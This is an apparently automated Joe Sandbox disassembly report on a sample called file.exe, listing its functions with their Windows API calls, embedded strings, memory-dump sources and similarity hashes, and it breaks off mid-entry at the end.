Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf
String ID: rtmp%d
API String ID: 2111052971-3303766350
Opcode ID: b162499dc5e7a0305e7e3b76d9ccb568fc00b7d110f9cde8f814d2ddcebe4dee
Instruction ID: abad6abbbeacb1073f5b036063a521b37c7ef58e2c8798ca3b68a8ab0ac49d64
Opcode Fuzzy Hash: b162499dc5e7a0305e7e3b76d9ccb568fc00b7d110f9cde8f814d2ddcebe4dee
Instruction Fuzzy Hash: C8418A76911258A6DF20FBB4DD95EEE777CBF24380F0041A7B505A3282EB349B858B60

Function 001E7EE5 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 124memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,001E8705,?), ref: 001E7FBA
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,-00000003,00000000,00000000), ref: 001E7FDB
CreateStreamOnHGlobal.COMBASE(00000000,00000001,00000000), ref: 001E8002

Strings

</html>, xrefs: 001E7F8C
utf-8"></head>, xrefs: 001E7F3F
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 001E7F34
<html>, xrefs: 001E7F29, 001E7F62

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Global$AllocByteCharCreateMultiStreamWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 4094277203-4209811716
Opcode ID: 7be538aa0d9f0fc1fd60c972773d13249e9be27f2a4c4c2611087c61eb3b7292
Instruction ID: f7d683b8b41818d94b879b2972ffa32829b557383ceeea754efeab061b4bf173
Opcode Fuzzy Hash: 7be538aa0d9f0fc1fd60c972773d13249e9be27f2a4c4c2611087c61eb3b7292
Instruction Fuzzy Hash: 283126321087557FE329AB619C06FAFB798DFA2720F14410AF514961C2EFB49948C3A5

Function 001E7D96 Relevance: 12.1, APIs: 8, Instructions: 135windowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 001E7DAF
GetTickCount.KERNEL32 ref: 001E7DCD
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 001E7DE3
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 001E7DF7
TranslateMessage.USER32(?), ref: 001E7E02
DispatchMessageW.USER32(?), ref: 001E7E0D
ShowWindow.USER32(?,00000005,?,00000000,?,?,?,?,00000000,00000000,00000000,<html>,00000006), ref: 001E7EBD
SetWindowTextW.USER32(?,00000000), ref: 001E7EC7

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Message$CountTickWindow$DispatchPeekShowTextTranslate
String ID:
API String ID: 4150546248-0
Opcode ID: 78b56eeb18e6f28fa745f6e36545e1dd0bb9f5103903a2cb7914883c1c172b80
Instruction ID: be7a18a321264e6edb15bda2f86ad9fa3570f6ee65c7faa23095c2bb637370d0
Opcode Fuzzy Hash: 78b56eeb18e6f28fa745f6e36545e1dd0bb9f5103903a2cb7914883c1c172b80
Instruction Fuzzy Hash: B2418B71208746AFE710DFA6D888E6BBBE9EF58704B00086DF646C3191DB30EC45CB62

Function 001DFE20 Relevance: 12.1, APIs: 8, Instructions: 117timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 001DFE33

Part of subcall function 001DA8E0: GetVersionExW.KERNEL32(?), ref: 001DA905

FileTimeToLocalFileTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 001DFE5C
FileTimeToSystemTime.KERNEL32(?,?,00000000,?,00000064,00000000,?,00000000,?), ref: 001DFE6E
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 001DFE7B
SystemTimeToFileTime.KERNEL32(?,?), ref: 001DFE91
SystemTimeToFileTime.KERNEL32(?,?), ref: 001DFE9D
FileTimeToSystemTime.KERNEL32(?,?), ref: 001DFED3
__aullrem.LIBCMT ref: 001DFF5D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 0e095e69261610e072cb65ed4393eb76092608f9b73476ab3c959e5a438e7f5e
Instruction ID: b869a56b39c0c182f79a2daf575990a3b2961a5cf3abd7171e0aa21324f765bf
Opcode Fuzzy Hash: 0e095e69261610e072cb65ed4393eb76092608f9b73476ab3c959e5a438e7f5e
Instruction Fuzzy Hash: 424117B2408305AFC310DF65C884AABFBF9FB88714F004A2EF59692650E735E649DB52

Function 001FC56D Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,001FCCE2,00000000,00000000,00000000,00000000,00000000,001F2C4E), ref: 001FC5AF
__fassign.LIBCMT ref: 001FC62A
__fassign.LIBCMT ref: 001FC645
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 001FC66B
WriteFile.KERNEL32(?,00000000,00000000,001FCCE2,00000000,?,?,?,?,?,?,?,?,?,001FCCE2,00000000), ref: 001FC68A
WriteFile.KERNEL32(?,00000000,00000001,001FCCE2,00000000,?,?,?,?,?,?,?,?,?,001FCCE2,00000000), ref: 001FC6C3

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8d1318624f5b4f7ca6d4915f5aef7d6d47694a751b21ee182400c3a9c3a0391c
Instruction ID: f45af440a0e4beb4d7fafc0b98e31e2b90a41e8352ed00310bdbf2eae24a480d
Opcode Fuzzy Hash: 8d1318624f5b4f7ca6d4915f5aef7d6d47694a751b21ee182400c3a9c3a0391c
Instruction Fuzzy Hash: C751B0B4A0420DAFDB14CFA8D985AFEBBF4FF18310F14415AE655E7251E7309941CBA1

Function 001EB0D9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000800,?), ref: 001EB0EF
_swprintf.LIBCMT ref: 001EB123

Part of subcall function 001D3F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 001D3F6E

SetDlgItemTextW.USER32(?,00000066,00213122), ref: 001EB143
_wcschr.LIBVCRUNTIME ref: 001EB176
EndDialog.USER32(?,00000001), ref: 001EB257

Strings

%s%s%u, xrefs: 001EB118

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: DialogItemPathTempText__vswprintf_c_l_swprintf_wcschr
String ID: %s%s%u
API String ID: 2892007947-1360425832
Opcode ID: c2d5ab56afc68b3469c2ce6f062570ece051f04ffa1d51077b1adfc21bc3afea
Instruction ID: 1cf7ae8c468c8c5d8fb55b709b3d7ffda5e9caf0ed6199eb754ac8e64af51cbf
Opcode Fuzzy Hash: c2d5ab56afc68b3469c2ce6f062570ece051f04ffa1d51077b1adfc21bc3afea
Instruction Fuzzy Hash: 9A419171904659AEEF25DBA1EC85EEF77BDEB18300F0040A6F509E6191EF709B848F51

Function 001DC91F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 001DC9A5
_strlen.LIBCMT ref: 001DC9D5
_swprintf.LIBCMT ref: 001DC9F6
_wcschr.LIBVCRUNTIME ref: 001DCA1F
_wcsrchr.LIBVCRUNTIME ref: 001DCA6B

Strings

%08x, xrefs: 001DC9EA

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcsrchr
String ID: %08x
API String ID: 1593746830-3682738293
Opcode ID: 8f64661f6ac033bee4105438977320a0cc123ebd68fedf9e2ab68c98ac49a3d6
Instruction ID: da5f70c606cd2cb574c467d2c3ad25e9ff174b4c7aa6aac797a8478eef2e1d76
Opcode Fuzzy Hash: 8f64661f6ac033bee4105438977320a0cc123ebd68fedf9e2ab68c98ac49a3d6
Instruction Fuzzy Hash: AC411932908345AAE734E624CC49EBF73EDDB94710F11092BF55997283EB719D04C2E1

Function 001E859C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

ShowWindow.USER32(?,00000000), ref: 001E85B5
GetWindowRect.USER32(?,?), ref: 001E85DA
ShowWindow.USER32(?,00000005,?), ref: 001E8671
SetWindowTextW.USER32(?,00000000), ref: 001E8679
ShowWindow.USER32(00000000,00000005), ref: 001E868F

Strings

RarHtmlClassName, xrefs: 001E863B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 3df53e3deed2de76ebff965a24387d61bd7e0153bbe2fed6c7caba8ce32d143e
Instruction ID: 31b8c370ecf799a7f02256c2f6dae8693a61c323d587985e3b6a1f22a70de46b
Opcode Fuzzy Hash: 3df53e3deed2de76ebff965a24387d61bd7e0153bbe2fed6c7caba8ce32d143e
Instruction Fuzzy Hash: 7F31AB32101704AFC7219F65AD8CB5FBFA9FF58701F048459FE49AA192DB70E900CBA2

Function 001F930F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 001F92D3: _free.LIBCMT ref: 001F92FC

_free.LIBCMT ref: 001F935D

Part of subcall function 001F59C2: RtlFreeHeap.NTDLL(00000000,00000000,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?), ref: 001F59D8
Part of subcall function 001F59C2: GetLastError.KERNEL32(?,?,001F9301,?,00000000,?,00000000,?,001F9328,?,00000007,?,?,001F9725,?,?), ref: 001F59EA

_free.LIBCMT ref: 001F9368
_free.LIBCMT ref: 001F9373
_free.LIBCMT ref: 001F93C7
_free.LIBCMT ref: 001F93D2
_free.LIBCMT ref: 001F93DD
_free.LIBCMT ref: 001F93E8

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction ID: 21647736dc6d8fcd566e03ae5bb3c13a23d7e32b54285091766ca88c5e3ff0ce
Opcode Fuzzy Hash: 79ca16251da02bffb22ec5b04b3bd6bb15c96f5b654e5c829824a9962078a30e
Instruction Fuzzy Hash: C911EF71A41F0CFADB20BBB0CC8BFEBB7DDAF14714F804816B399A6152DB65B5048650

Function 001F0C14 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,001F0C0B,001EE662), ref: 001F0C22
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 001F0C30
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 001F0C49
SetLastError.KERNEL32(00000000,?,001F0C0B,001EE662), ref: 001F0C9B

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 5a559cf0bc4320b7803315e2069cfa6302d5916e71251a0ae6a57e2e771f3102
Instruction ID: 6c91c8171825e6d9970caa757a055bb57cb66bf0ec7572f6045401110de39abf
Opcode Fuzzy Hash: 5a559cf0bc4320b7803315e2069cfa6302d5916e71251a0ae6a57e2e771f3102
Instruction Fuzzy Hash: 5201A73628971DAEE72767B57C89A376B49EB197B5F70036AF718450E3EFA14C005180

Function 001EC7FD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 001EC82C
KERNEL32.DLL, xrefs: 001EC817
ReleaseSRWLockExclusive, xrefs: 001EC83C

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: c4abb88fb47ec88ffff2632ba6de91f92fc6658435bd0c46a4df37cbe1d1b953
Instruction ID: 1bfab1319cff05e859cbbba3f3b5f219ed7c24127b9f104b366a4ee783c02821
Opcode Fuzzy Hash: c4abb88fb47ec88ffff2632ba6de91f92fc6658435bd0c46a4df37cbe1d1b953
Instruction Fuzzy Hash: 6201F971A41B616BAF300FB37DC8EAE23C59B027513115539E450D3541D710C893A7E5

Function 001E0050 Relevance: 9.1, APIs: 6, Instructions: 94timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 001E00AE

Part of subcall function 001DA8E0: GetVersionExW.KERNEL32(?), ref: 001DA905

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 001E00D0
FileTimeToSystemTime.KERNEL32(?,?), ref: 001E00EA
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 001E00FB
SystemTimeToFileTime.KERNEL32(?,?), ref: 001E010B
SystemTimeToFileTime.KERNEL32(?,?), ref: 001E0117

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: bf90ab7a133a97967ca205da660f20e228519157553976ba1c341bf42cf37d93
Instruction ID: e0eb40f8d871d71f200f3823b2e2f1aace365eb6dcb31c0c0a8cbafc44968cd4
Opcode Fuzzy Hash: bf90ab7a133a97967ca205da660f20e228519157553976ba1c341bf42cf37d93
Instruction Fuzzy Hash: 7731F47A1083459BC704DFA5D8849ABB7F8FF98704F04491EFA99D3210E730E549CB2A

Function 001E8206 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 001E822A
_memcmp.LIBVCRUNTIME ref: 001E8241

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 30bf88f746f516e3d60e5f8016b9a76ab11602fcf5a480690bf8a56cda5bfc07
Instruction ID: e403588b53eb67a5fdfeade80546c4808e3c86d6915093c06aa2e54a6d7c2aee
Opcode Fuzzy Hash: 30bf88f746f516e3d60e5f8016b9a76ab11602fcf5a480690bf8a56cda5bfc07
Instruction Fuzzy Hash: 7B21C471600E4BABD7489A12CC81E3FB7ECAF54758B148528FD0C9A143F770DD51C690

Function 001DFB02 Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 001DFB07
EnterCriticalSection.KERNEL32(00211E74,00000000,?,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF,?), ref: 001DFB15
new.LIBCMT ref: 001DFB35
new.LIBCMT ref: 001DFB6B
LeaveCriticalSection.KERNEL32(00211E74,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF,?,00008000,?), ref: 001DFB8B
LeaveCriticalSection.KERNEL32(00211E74,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF,?,00008000,?), ref: 001DFB96

Part of subcall function 001DF930: InitializeCriticalSection.KERNEL32(000001A0,00211E74,00000000,?,?,001DFB88,00000020,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?), ref: 001DF969
Part of subcall function 001DF930: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF), ref: 001DF973
Part of subcall function 001DF930: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,001DA7C2,?,001DC74B,?,00000000,?,00000001,?,?,?,001E3AFF), ref: 001DF983

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore
String ID:
API String ID: 3919453512-0
Opcode ID: daecd8e80555e2e4d104bed93c27232e46d17baa58fded5e9b1e5e0554c11d68
Instruction ID: 0ba59f8fdae3ee75109957d82a847998addcfa6ab438b334a8e9e5e382c79a66
Opcode Fuzzy Hash: daecd8e80555e2e4d104bed93c27232e46d17baa58fded5e9b1e5e0554c11d68
Instruction Fuzzy Hash: D1117334A00215ABD7049BA8EC59BBD7AA9FB59754F00413FF90AD7391DFB18912CA90

Function 001F631F Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,0020CBE8,001F2674,0020CBE8,?,?,001F2213,?,?,0020CBE8), ref: 001F6323
_free.LIBCMT ref: 001F6356
_free.LIBCMT ref: 001F637E
SetLastError.KERNEL32(00000000,?,0020CBE8), ref: 001F638B
SetLastError.KERNEL32(00000000,?,0020CBE8), ref: 001F6397
_abort.LIBCMT ref: 001F639D

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 7d6e46372898c3e3dacdcfc02c2fe3f8a9d63d6305ce859bb9136818c8c40dcc
Instruction ID: f7addc98da27ab0392d7da04186db936e1620dfbc836b9672db8aaef539d0d83
Opcode Fuzzy Hash: 7d6e46372898c3e3dacdcfc02c2fe3f8a9d63d6305ce859bb9136818c8c40dcc
Instruction Fuzzy Hash: 38F02836605B092BD71127347D4EF3A221BBBE2771F350214F72D93193EF258C015151

Function 001F4BDA Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\file.exe,00000104), ref: 001F4C1A
_free.LIBCMT ref: 001F4CE5
_free.LIBCMT ref: 001F4CEF

Strings

C:\Users\user\Desktop\file.exe, xrefs: 001F4C11, 001F4C18, 001F4C47, 001F4C7F
8%r, xrefs: 001F4C20

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: _free$FileModuleName
String ID: 8%r$C:\Users\user\Desktop\file.exe
API String ID: 2506810119-3049569792
Opcode ID: 277edba0e0c4fc610d53dd2a4e0de90b532e2f679fb3c059edd69422b7f0fe77
Instruction ID: 9702c593f349f1cffd46ab25544dd2bff11c6e92874978fbbf864aea5fd357ca
Opcode Fuzzy Hash: 277edba0e0c4fc610d53dd2a4e0de90b532e2f679fb3c059edd69422b7f0fe77
Instruction Fuzzy Hash: EA318D71A0125CFFDB22DF999C859BFBBFCEB95710B1050A6FA0497211D7708A41DBA0

Function 001EA8D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

CharUpperW.USER32(?,?,?,?,00001000), ref: 001EA92C
CharUpperW.USER32(?,?,?,?,?,00001000), ref: 001EA953

Strings

*a!, xrefs: 001EA99C
-, xrefs: 001EA91A

Memory Dump Source

Source File: 00000000.00000002.1746716855.00000000001D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 001D0000, based on PE: true

Associated: 00000000.00000002.1746682989.00000000001D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746768638.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000020A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746827189.000000000022A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746870515.000000000022C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1d0000_file.jbxd

Similarity

API ID: CharUpper
